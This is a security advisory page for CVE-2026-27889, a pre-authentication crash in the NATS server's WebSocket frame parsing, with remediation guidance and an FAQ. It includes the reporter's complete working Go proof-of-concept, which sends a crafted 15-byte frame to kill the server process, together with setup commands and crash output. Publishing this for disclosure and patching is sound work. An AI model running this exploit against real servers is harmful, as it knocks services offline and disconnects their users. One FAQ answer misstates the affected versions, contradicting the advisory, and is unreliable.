CVE-2026-27889: NATS: Pre-auth remote server crash via WebSocket frame length overflow in wsRead

Published Mar 25, 2026
·
Updated

Background

NATS.io is a high performance open source pub-sub distributed communication technology, built for the cloud, on-premise, IoT, and edge computing.

When using WebSockets, a malicious client can trigger a server crash with crafted frames, before authentication.

Problem Description

A missing sanity check on a WebSockets frame could trigger a server panic in the nats-server. This happens before authentication, and so is exposed to anyone who can connect to the websockets port.

Affected versions

Version 2 from v2.2.0 onwards, prior to v2.11.14 or v2.12.5

Workarounds

This only affects deployments which use WebSockets and which expose the network port to untrusted end-points. If able to do so, a defense in depth of restricting either of these will mitigate the attack.

Solution

Upgrade the NATS server to a fixed version.

Credits

This was reported to the NATS maintainers by GitHub user Mistz1. Also independently reported by GitHub user jiayuqi7813.

-----

Report by @Mistz1

Summary

An unauthenticated remote attacker can crash the entire nats-server process by sending a single malicious WebSocket frame (15 bytes after the HTTP upgrade handshake). The server fails to validate the RFC 6455 §5.2 requirement that the most significant bit of a 64-bit extended payload length must be zero. The resulting uint64 → int conversion produces a negative value, which bypasses the bounds clamp and triggers an unrecovered panic in the connection's goroutine — killing the entire server process and disconnecting all clients. This affects all platforms (64-bit and 32-bit).

Details

Vulnerable code: server/websocket.go line 278

go r.rem = int(binary.BigEndian.Uint64(tmpBuf))

When a WebSocket frame uses the 64-bit extended payload length (length code 127), the server reads 8 bytes and casts the raw uint64 directly to int with no validation. RFC 6455 §5.2 states: "the most significant bit MUST be 0" — but nats-server never checks this.

Attack chain:

1. The attacker sends a WebSocket frame with the MSB set in the 64-bit length field (e.g., 0x8000000000000001).

2. At line 278, int(0x8000000000000001) produces -9223372036854775807 on 64-bit Go (two's complement reinterpretation — Go does not panic on integer conversion overflow).

3. r.rem is now negative. At line 307–311, the bounds clamp fails:

go n = r.rem // n = -9223372036854775807 if pos+n > max { // 14 + (-huge) = negative, NOT > max → FALSE n = max - pos // clamp NEVER fires } b = buf[pos : pos+n] // buf[14 : -9223372036854775793] → PANIC

The addition pos + n wraps to a negative value (Go signed integer overflow is defined behavior — it wraps silently). Since the negative result is never greater than max, the clamp is skipped. The slice expression at line 311 reaches the Go runtime bounds check, which panics.

4. There is no defer recover() anywhere in the goroutine chain: - startGoRoutine: go func() { f() }() — no recovery - readLoop: defer only does cleanup — no recovery

The unrecovered panic propagates to Go's runtime, which calls os.Exit(2). The entire nats-server process terminates.

5. The WebSocket frame is parsed in wsRead() called from readLoop(), which starts immediately after the HTTP upgrade — before any NATS CONNECT authentication. No credentials are required.

Why 15 bytes, not 14: The 14-byte frame header (opcode + length + mask key) exactly fills the read buffer on the first call, so pos == max and the payload loop at line 303 (if pos < max) is skipped. The poisoned r.rem persists in the wsReadInfo struct. One additional byte of "payload" is needed so that pos < max on either the same or next read, entering the panic path at line 311.

PoC

Server configuration (test-ws.conf): listen: 127.0.0.1:4222

websocket { listen: "127.0.0.1:9222" notls: true }

Start the server: bash nats-server -c test-ws.conf

Exploit (pocwscrash.go): go package main

import ( "bufio" "encoding/binary" "fmt" "net" "net/http" "os" "time" )

func main() { target := "127.0.0.1:9222" if len(os.Args) > 1 { target = os.Args[1] }

fmt.Printf("[] Connecting to %s...\n", target) conn, err := net.DialTimeout("tcp", target, 5time.Second) if err != nil { fmt.Printf("[-] Connection failed: %v\n", err) os.Exit(1) } defer conn.Close()

// WebSocket upgrade req, := http.NewRequest("GET", "http://"+target, nil) req.Header.Set("Upgrade", "websocket") req.Header.Set("Connection", "Upgrade") req.Header.Set("Sec-WebSocket-Key", "dGhlIHNhbXBsZSBub25jZQ==") req.Header.Set("Sec-WebSocket-Version", "13") req.Header.Set("Sec-WebSocket-Protocol", "nats") req.Write(conn)

conn.SetReadDeadline(time.Now().Add(5 time.Second)) resp, err := http.ReadResponse(bufio.NewReader(conn), req) if err != nil || resp.StatusCode != 101 { fmt.Printf("[-] Upgrade failed\n") os.Exit(1) } fmt.Println("[+] WebSocket established") conn.SetReadDeadline(time.Time{})

// Malicious frame: FIN+Binary, MASK+127, 8-byte length with MSB set, mask key, 1 payload byte frame := make([]byte, 15) frame[0] = 0x82 // FIN + Binary frame[1] = 0xFF // MASK + 127 (64-bit length) binary.BigEndian.PutUint64(frame[2:10], 0x8000000000000001) // MSB set frame[10] = 0xDE // Mask key frame[11] = 0xAD frame[12] = 0xBE frame[13] = 0xEF frame[14] = 0x41 // 1 payload byte

fmt.Printf("[] Sending: %x\n", frame) conn.Write(frame)

time.Sleep(2 time.Second)

// Verify crash conn2, err := net.DialTimeout("tcp", target, 3time.Second) if err != nil { fmt.Println("[!!!] SERVER IS DOWN — full process crash confirmed") os.Exit(0) } conn2.Close() fmt.Println("[-] Server still running") }

Run: bash go build -o pocwscrash pocwscrash.go ./pocwscrash

Observed server output before termination: panic: runtime error: slice bounds out of range [:-9223372036854775793]

goroutine 13 [running]: github.com/nats-io/nats-server/v2/server.(client).wsRead(...) server/websocket.go:311 +0xa93 github.com/nats-io/nats-server/v2/server.(client).readLoop(...) server/client.go:1434 +0x768 github.com/nats-io/nats-server/v2/server.(Server).startGoRoutine.func1() server/server.go:4078 +0x32

Tested against: nats-server v2.14.0-dev (commit a69f51f), Go 1.25.7, linux/amd64.

Impact

Vulnerability type: Pre-authentication remote denial of service (full process crash).

Who is impacted: Any nats-server deployment with WebSocket listeners enabled (websocket { ... } in config), including MQTT-over-WebSocket. This is an increasingly common configuration for browser-based and IoT clients. The attacker needs only TCP access to the WebSocket port — no credentials, no valid NATS client, no TLS client certificate.

Severity: A single unauthenticated TCP connection sending 15 bytes crashes the entire server process. All connected clients (NATS, WebSocket, MQTT, cluster routes, gateways, leaf nodes) are immediately disconnected. JetStream in-flight acknowledgments are lost and Raft consensus is disrupted in clustered deployments. The attack is repeatable on every server restart.

Affected platforms: All — confirmed on 64-bit (linux/amd64); 32-bit platforms (linux/386, linux/arm) are also affected with additional frame-desync consequences.

( NATS retains the original external report below the cut, with exploit details. This issue was also independently reported by GitHub user @jiayuqi7813 before publication; they provided a Python exploit.)

Other sources

NATS-Server is a High-Performance server for NATS.io, a cloud and edge native messaging system. Starting in version 2.2.0 and prior to versions 2.11.14 and 2.12.5, a missing sanity check on a WebSockets frame could trigger a server panic in the nats-server. This happens before authentication, and so is exposed to anyone who can connect to the websockets port. Versions 2.11.14 and 2.12.5 contains a fix. A workaround is available. The vulnerability only affects deployments which use WebSockets and which expose the network port to untrusted end-points. If one is able to do so, a defense in depth of restricting either of these will mitigate the attack.

MITRE

Affected Software

4 affected componentsFixes available
go/github.com/nats-io/nats-server/v2>=2.12.0<2.12.5
2.12.5
go/github.com/nats-io/nats-server/v2>=2.2.0<2.11.14
2.11.14
linuxfoundation Nats-server>=2.2.0<2.11.14
linuxfoundation Nats-server>=2.12.0<2.12.5

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade go/github.com/nats-io/nats-server/v2 to a version that resolves this vulnerability.

    Fixed in 2.12.5
  2. Upgrade

    Upgrade go/github.com/nats-io/nats-server/v2 to a version that resolves this vulnerability.

    Fixed in 2.11.14
  3. Upgrade

    Upgrade nats-server to a version that resolves this vulnerability.

    Fixed in 2.11.14
  4. Upgrade

    Upgrade nats-server to a version that resolves this vulnerability.

    Fixed in 2.12.5
  5. Compensating control

    As a defense-in-depth mitigation for deployments exposed to untrusted endpoints, restrict network access to the NATS WebSocket listener port (the WebSocket server starts before NATS CONNECT authentication).

Event History

Mar 25, 2026
Advisory Published
via GitHub·05:07 PM
Data Sourced
via GitHub·05:07 PM
DescriptionSeverityWeaknessAffected Software
CVE Published
via MITRE·07:36 PM
Data Sourced
via MITRE·07:36 PM
DescriptionSeverityWeakness
Data Sourced
via Red Hat·08:02 PM
DescriptionSeverityAffected Software
Data Sourced
via NVD·08:16 PM
DescriptionSeverityWeaknessAffected Software

Frequently Asked Questions

1

What is the severity of CVE-2026-27889?

CVE-2026-27889 is considered a high severity vulnerability as it allows a malicious client to crash the NATS server before authentication.

2

How do I fix CVE-2026-27889?

To fix CVE-2026-27889, upgrade the NATS server to version 2.12.5 or 2.11.14.

3

What versions are affected by CVE-2026-27889?

CVE-2026-27889 affects NATS server versions from 2.2.0 up to but not including 2.12.0, and from 2.11.0 up to but not including 2.11.14.

4

Is CVE-2026-27889 a remote code execution vulnerability?

No, CVE-2026-27889 is not a remote code execution vulnerability; it causes the server to crash instead.

5

Can CVE-2026-27889 be exploited without authentication?

Yes, CVE-2026-27889 can be exploited by a malicious client before authentication is completed.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203